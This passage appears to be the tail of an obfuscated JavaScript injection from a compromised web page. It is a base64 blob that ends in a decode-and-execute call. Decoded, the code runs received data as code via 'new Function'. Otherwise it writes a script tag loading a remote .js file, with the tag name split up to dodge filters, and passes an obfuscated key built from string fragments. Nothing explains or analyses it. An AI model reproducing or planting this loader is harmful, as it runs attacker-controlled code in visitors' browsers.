KGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKFd6Z3AoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd5JysnSVRMJysneCcrJ1V6TTMzJysnMHknKydZR0pUJysnSjMnKyczY0dkNScrJ0ZIJysnYkdKJysnVEp6JysnUUQnKydOdycrJ0UnKydUUXonKydVU2J2TicrJ21MaE4zJysnM2FuWicrJzJidWMnKyczJysnM2QnKyczJysnM1prTWwnKydZaycrJ01sRTAnKydNbE0nKydIYzBSJysnSCcrJ2EnKycnKycnLCcnKydRUUInKyd2eUgnKyc3QScrJycrJycsd2luZG93LGRvY3VtZW50LCcnKydkeEonKyc1S2InKydHJysnJysnJywnMycp"));}